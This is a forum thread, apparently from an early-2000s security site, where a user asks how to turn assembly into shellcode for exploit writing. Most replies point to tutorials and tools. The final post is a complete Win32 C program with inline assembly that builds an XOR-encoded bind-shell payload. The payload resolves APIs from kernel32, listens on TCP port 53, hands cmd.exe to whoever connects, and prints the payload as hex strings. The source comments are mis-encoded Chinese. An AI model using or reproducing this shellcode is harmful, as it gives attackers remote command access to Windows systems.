Results 1 to 9 of 9

Thread: Shellcode

  1. #1

    Shellcode

    Hi,

    I am wondering how I can (and how everyone else can) convert my ASM code into byte code, for I wish to try and understand the art of exploit writing a little better.

    Thanks.

  2. #2
    Senior Member
    Join Date
    Mar 2003
    Posts
    245
    Yikes!!! I think I know how bomb-squad people feel, that is a question with _NEG_ME_ written all over it, and
    I'm not sure if I should put on flame-retardant gear before answering. But, here we go...


    - Read Aleph One's Smashing The Stack For Fun And Profit
    - Visit Mixter's Site and read his papers on the subject
    - Check out http://www.shellcode.com.ar and read the stuff there.

    I hope that helps and that your interest is purely white-hat.

    -- spurious
    Get OpenSolaris http://www.opensolaris.org/

  3. #3
    Hi,

    Thanks for your response! I have read that paper - very good, but I am concentrating my efforts on the Win32 platform.
    I can write the ASM but am having problems getting into byte code format.
    Thanks for the links, I will have a butchers!

    Regards,
    Sarid

  4. #4
    Just Another Geek
    Join Date
    Jul 2002
    Location
    Rotterdam, Netherlands
    Posts
    3,401
    I think you're a bit confused. Bytecode is something a java compiler produces. It's basicly a set of instructions for a pseudo cpu (the java virtual machine). I think you are looking for something that converts your mnemonics into real assembly. So you probably need an assembler. Take alook at NASM
    Oliver's Law:
    Experience is something you don't get until just after you need it.

  5. #5
    moving on further when you see char shellcode [80] = "whatever" on an exploit its not the asm code. is it coded into hex or am i mistaken?

  6. #6
    Senior Member Maestr0's Avatar
    Join Date
    May 2003
    Posts
    604
    Assembly code is all hex. Assembly is nothing more than opcodes and operands. In order to make life easier on the ASM programmer opcodes usually have a 3 letter representation like POP,SUB,JMP etc but these are actually also just hex numbers replaced by the compiler at build time. What you want is to hex encode your assembly. There are many programs available to produce shellcode some are even considerate enough to build shellcode without any nulls or whitespace but the GNU program 'objdump' will work if you just want to hex encode some assembly. So when you see the shellcode[128]="insert your generic execv here" for all intents yes it is the assembly (hex encoded). Its nothing but a series of opcodes and operands that the computer will execute(hopefully) if you can force the program flow to your code.

    -Maestr0
    \"If computers are to become smart enough to design their own successors, initiating a process that will lead to God-like omniscience after a number of ever swifter passages from one generation of computers to the next, someone is going to have to write the software that gets the process going, and humans have given absolutely no evidence of being able to write such software.\" -Jaron Lanier

  7. #7
    Senior Member
    Join Date
    May 2003
    Posts
    472
    hopefully this will help...its called "HellKit"

    from securityfocus : "With hellkit you write your shellcodes in C, as shown in the 4 examples shipped with that package. You then run 'driver' over it and it's done! You get the output-file hellcode.c which contains the shellcode without null-bytes. Hellkit generates shellcodes with a lenght of up to 65535 (2^16 - 1) bytes."

    http://www.securityfocus.com/tools/1500/scoreit

    nJoy

    also try objdump
    guru@linux:~> who I grep -i blonde I talk; cd ~; wine; talk; touch; unzip; touch; strip; gasp; finger; mount; fsck; more; yes; gasp; umount; make clean; sleep;

  8. #8
    YEs you're right, opcodes not byte codes (hadn't had my morning coffee at the time of writing). You have all been a huge help!

  9. #9
    Junior Member
    Join Date
    Nov 2003
    Posts
    1
    I think you can print out your shellcode by writing a function.Such as the following example:
    just like the function "printsc".
    #include <winsock2.h>
    #include <windows.h>
    #include <stdio.h>

    #pragma comment(lib, "ws2_32")

    void printsc(unsigned char *sc, int len);

    unsigned char sc[0x1000];


    unsigned char buff[]=
    "GetProcAddress\x0"

    // ----- 3 -----
    "CreateProcessA\x0" // [edi-0x20]
    "ExitThread\x0" // [edi-0x1c]
    // "ExitProcess\x0" // [edi-0x1c]
    "LoadLibraryA\x0" // [edi-0x18]

    // -------------
    "ws2_32\x0"

    // ----- 5 -----
    "WSASocketA\x0" // [edi-0x14]
    "bind\x0" // [edi-0x10]
    "listen\x0" // [edi-0x0c]
    "accept\x0" // [edi-0x08]
    "closesocket\x0"; // [edi-0x04]

    DWORD addr;
    void shellcode();

    void main()
    {

    unsigned char temp;
    unsigned char *shellcodefnadd, *start;
    int k;
    char *fnendstr = "\x90\x90\x90\x90\x90\x90\x90\x90\x90";
    #define FNENDLONG 0x08
    WSADATA wsa;
    int all, i;
    //int port = 53;

    WSAStartup(MAKEWORD(2,2),&wsa);

    memset(sc, 0, sizeof(sc));

    // ¶¨Î»shellcodefnlockµÄ»ã±*´úÂë
    shellcodefnadd = (unsigned char *)shellcode;
    temp = *shellcodefnadd;
    if(temp == 0xe9)
    {
    ++shellcodefnadd;
    k=*(int *)shellcodefnadd;
    shellcodefnadd+=k;
    shellcodefnadd+=4;
    }

    // ¶¨Î»shellcodeµÄÆðʼµØÖ·
    for(k=0; k <= 0x500; ++k)
    {
    if(memcmp(shellcodefnadd+k, fnendstr, FNENDLONG)==0) break;
    }

    // shellcodefnadd+k+8 Êǵõ½µÄshellcodefnlock»ã±*´úÂëµØÖ·
    start = shellcodefnadd+k+8;

    // ¶¨Î» shellcode ³¤¶È
    for(k=0; k <= 0x500; ++k)
    {
    if(memcmp(start+k, fnendstr, FNENDLONG) == 0) break;
    }

    //printf("%x\n", htons(port));

    all = k + sizeof(buff) - 1;
    printf("%d + %d = %d\n", k, sizeof(buff), all);

    memcpy(sc, start, k);
    memcpy(&sc[k],buff, sizeof(buff));
    addr = (DWORD)≻

    for(k=0; k <= all-3; ++k)
    {
    if(sc[k] == 0x00 && sc[k+1] == 0x35) printf("port offset: %d\r\n", k);
    if(sc[k] == 0x7F && sc[k+3] == 0x01) printf("ip offset: %d\r\n\n", k);
    }

    k = all - 23;
    memcpy(sc+8, &k, 2);

    // ================== print ======================
    // decode ³¤¶ÈΪ23×Ö½Ú
    printsc (sc, 23);


    // xor
    for(i=23; i < all; i++)
    {
    sc[i] ^= 0x99;
    }

    printsc(sc+23, k);

    __asm
    {
    jmp addr
    }

    // shellcode();

    Sleep(10000);
    return;
    }


    void printsc(unsigned char *sc, int len)
    {
    int l;

    // ´òÓ¡ ÆÕͨshellcode
    for(l = 0; l < len; l++)
    {
    if(l == 0) printf("\"");
    if((l%16 == 0) && (l != 0))printf("\"\n\"");

    printf("\\x%.2X", sc[l]);

    if(l == len-1) printf("\"");
    }

    printf("\n\n");

    /*
    // ´òÓ¡ iis unicode shellcode
    for(l = 0; l < len; l += 2)
    {
    if(l == 0) printf("\"");
    if((l%16 == 0) && (l != 0))printf("\"\n\"");

    printf("%%u%.2X%.2X", sc[l+1], sc[l]);

    if(l == len-2) printf("\"");
    }
    */
    }

    void shellcode()
    {
    __asm
    {
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    }

    __asm
    {
    /* --------------------½âÂ뿪ʼ---------------------- */


    jmp decode_end

    decode_start:

    pop edx // µÃµ½½âÂ뿪ʼλÖà esp -> edx
    dec edx
    xor ecx,ecx
    mov cx,0x17D // shellcode ³¤¶È 0x175+1 = 0x176 = 373 bytes

    decode_loop:

    xor byte ptr [edx+ecx], 0x99
    loop decode_loop
    jmp decode_ok

    decode_end:

    call decode_start


    decode_ok:

    /* --------------------½âÂë½áÊø---------------------- */

    jmp end

    start:
    pop edx // Ö¸Áî±*ÆðʼµØÖ·´æ·ÅÔÚ esp -> edx

    // ===== ´Ó PEB ÖÐÈ¡µÃKERNEL32.DLLµÄÆðʼµØÖ· =====
    //
    // ÊäÈë:
    // edx => Ö¸Áî±*ÆðʼµØÖ· (²»ÐèÒª)
    //
    // Êä³ö:
    // eax => kernel32.dllÆðʼµØÖ·
    // edx => Ö¸Áî±*ÆðʼµØÖ·

    mov eax, fs:0x30 // PEB
    mov eax, [eax + 0x0c] // PROCESS_MODULE_INFO
    mov esi, [eax + 0x1c] // InInitOrder.flink
    lodsd
    mov eax,[eax+8]

    // ========== ¶¨Î»GetProcAddressµÄµØÖ· ==========
    //
    // ÊäÈë:
    // eax => kernel32.dllÆðʼµØÖ·
    // edx => Ö¸Áî±*ÆðʼµØÖ·
    //
    // Êä³ö:
    // ebx => kernel32.dllÆðʼµØÖ·
    // eax => GetProcAddressµØÖ·
    // edx => Ö¸Áî±*ÆðʼµØÖ·

    mov ebx,eax // È¡kernel32.dllµÄÆðʼµØÖ·
    mov esi,dword ptr [ebx+0x3C]
    mov esi,dword ptr [esi+ebx+0x78]
    add esi,ebx
    mov edi,dword ptr [esi+0x20]
    add edi,ebx
    mov ecx,dword ptr [esi+0x14]
    xor ebp,ebp
    push esi

    search_GetProcAddress:
    push edi
    push ecx
    mov edi,dword ptr [edi]
    add edi,ebx // °ÑÊä³öº¯ÊýÃû±*ÆðʼµØÖ·´æÈËedi
    mov esi,edx // Ö¸Áî±*ÆðʼµØÖ·´æÈëesi
    //mov ecx,0Eh // º¯ÊýgetprocAddress³¤¶ÈΪ0Eh
    push 0xE
    pop ecx
    repe cmps byte ptr [esi],byte ptr [edi]
    je search_GetProcAddress_ok

    pop ecx
    pop edi
    add edi,4
    inc ebp
    loop search_GetProcAddress

    search_GetProcAddress_ok:
    pop ecx
    pop edi
    pop esi
    mov ecx,ebp
    mov eax,dword ptr [esi+24h]
    add eax,ebx
    shl ecx,1
    add eax,ecx
    xor ecx,ecx
    mov cx,word ptr [eax]
    mov eax,dword ptr [esi+1Ch]
    add eax,ebx
    shl ecx,2
    add eax,ecx
    mov eax,dword ptr [eax]
    add eax,ebx

    // ============ µ÷Óú¯Êý½â¾öapiµØÖ· ============
    //
    // ÊäÈë:
    // ebx =>kernel32.dllÆðʼµØÖ·
    // eax =>GetProcAddressµØÖ·
    // edx =>Ö¸Áî±*ÆðʼµØÖ·
    //
    // Êä³ö:
    // edi =>º¯ÊýµØÖ·base addr
    // esi =>Ö¸Áî±*µ±Ç°Î»ÖÃ
    // edx =>GetProcAddress µØÖ·

    mov edi,edx
    mov esi,edi
    add esi,0xE // 0xE Ìø¹ý1¸ö×Ö·û´®"GetProcAddress"

    // ============ ½â¾ökernel32.dllÖеĺ¯ÊýµØÖ· ============
    mov edx,eax // °ÑGetProcAddress µØÖ·´æ·ÅÔÚedx
    push 3 // ÐèÒª½â¾öµÄº¯ÊýµØÖ·µÄ¸öÊý Ó²±*Âë¿ÉÒÔ½ÚÊ¡Á½¸ö×Ö½Ú
    pop ecx
    call locator_api_addr

    // ============ ¼ÓÔØws2_32.dll ============
    //locator_ws2_32:

    add esi,0xd // 0xd¼´"ws2_32"Ç°ÃæÄǸö×Ö·û´®µÄ³¤¶È£¬Ó²±*Âë¿ÉÒÔ½ÚÊ¡Á½¸ö×Ö½Ú
    push edx // edxÊÇGetProcAddress µØÖ·
    push esi // ×Ö·û"ws2_32"µØÖ·
    call dword ptr [edi-4] // LoadLibraryA

    // ============ ½â¾öws2_32Öеĺ¯ÊýµØÖ· ============
    pop edx
    mov ebx,eax // ½«ws2_32.dllÆðʼµØÖ·´æ·ÅÔÚebx
    //mov ecx,4
    push 5 // º¯Êý¸öÊý
    pop ecx // º¯Êý¸öÊý <-ÕâÖÖ·½Ê½Ê¡Á½¸ö×Ö½Ú
    call locator_api_addr

    // ============ create socket ============
    push eax
    push eax
    push eax
    push eax // IPPROTO_IP 0
    push 1 // SOCK_STREAM
    push 2 // AF_INET
    call dword ptr [edi-0x14] // WSASocketA

    mov ebx,eax // socket±£´æÔÚebx

    // ============ Ìî³äsockaddr_in½á¹¹ ============
    mov dword ptr [edi],0x35000002 // 2= AF_INET 0x35 = 53
    xor eax, eax
    mov dword ptr [edi+4], eax // ADDR_ANY

    // ============ bind ============
    push 0x10 // sizeof(sockaddr_in)
    push edi // sockaddr_in address
    push ebx // socket
    call dword ptr [edi-0x10] // bind(socket, &address, sizof(address));

    // ============ listen ============
    push 0x1 // 1
    push ebx // socket
    call dword ptr [edi-0xc] // listen(socket, 1);

    // ============ accept ============
    push eax // 0
    push eax // 0
    push ebx // socket
    call dword ptr [edi-0x8] // accept(socket, &address, sizeof(address));

    mov edx,eax

    // ============ ============
    sub esp,0x44
    mov esi,esp // È¡siµÄÆðʼµØÖ·
    xor eax, eax
    push 0x10 // 0x11 * 4 = 0x44 bytes
    pop ecx

    zero_si:
    mov dword ptr [esi+ecx*4],eax
    loop zero_si


    // ============ fill si struct,si´æ·ÅÔÚstackÖÐ ============
    mov dword ptr [esi+0x38],edx // si.hStdInput soskcet
    mov dword ptr [esi+0x3C],edx // hStdOutput soscket
    mov dword ptr [esi+0x40],edx // hStdError socket
    //mov word ptr [esi+0x30],0 // wShowWindow
    mov word ptr [esi+0x2c],0x101 // dwFlags

    // ============ CreateProcessA ============
    lea eax, dword ptr [edi+0x10]
    push eax // pi
    push esi // si
    xor ecx, ecx
    push ecx // lpCurrentDirectory
    push ecx // lpEnvironment
    push ecx // dwCreationFlags
    push 1 // bInheritHandles
    push ecx // lpThreadAttributes
    push ecx // lpProcessAttributes
    mov dword ptr [edi+0x3C], 0x00646D63// 0x63='c' 0x6d='m' 0x64='d'
    lea eax, dword ptr [edi+0x3C]
    push eax // lpCommandLine
    push ecx // lpApplicationName NULL
    call dword ptr [edi-0x20] // CreateProcessA



    // ============ If no error occurs, connect returns zero. ===========
    // closesocket
    push edx
    call dword ptr [edi-0x4]

    // closesocket
    push ebx
    call dword ptr [edi-0x4]

    // ExitProcess
    push eax
    call dword ptr [edi-0x1c] // ExitProcess

    // ============ ½â¾öapiµØÖ·µÄº¯Êý ============
    //
    // ÊäÈë²ÎÊý:
    // ecx º¯Êý¸öÊý
    // edx GetProcAddress µØÖ·
    // ebx Êä³öº¯ÊýµÄdllÆðʼµØÖ·
    // esi º¯ÊýÃû±*ÆðʼµØÖ·
    // edi ±£´æº¯ÊýµØÖ·µÄÆðʼµØÖ·

    locator_api_addr:

    locator_space:
    xor eax, eax
    lodsb
    test eax, eax // ѰÕÒº¯ÊýÃûÖ®¼äµÄ¿Õ¸ñx00
    jne locator_space

    push ecx
    push edx
    push esi // º¯ÊýÃû
    push ebx // Êä³öº¯ÊýµÄdllÆðʼµØÖ·
    call edx
    pop edx
    pop ecx
    stos dword ptr [edi]
    loop locator_space
    xor eax, eax
    ret


    // ================== ½áÊøµ÷Óà ====================
    end:
    call start
    }

    __asm
    {
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    nop
    }

    return;
    }

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •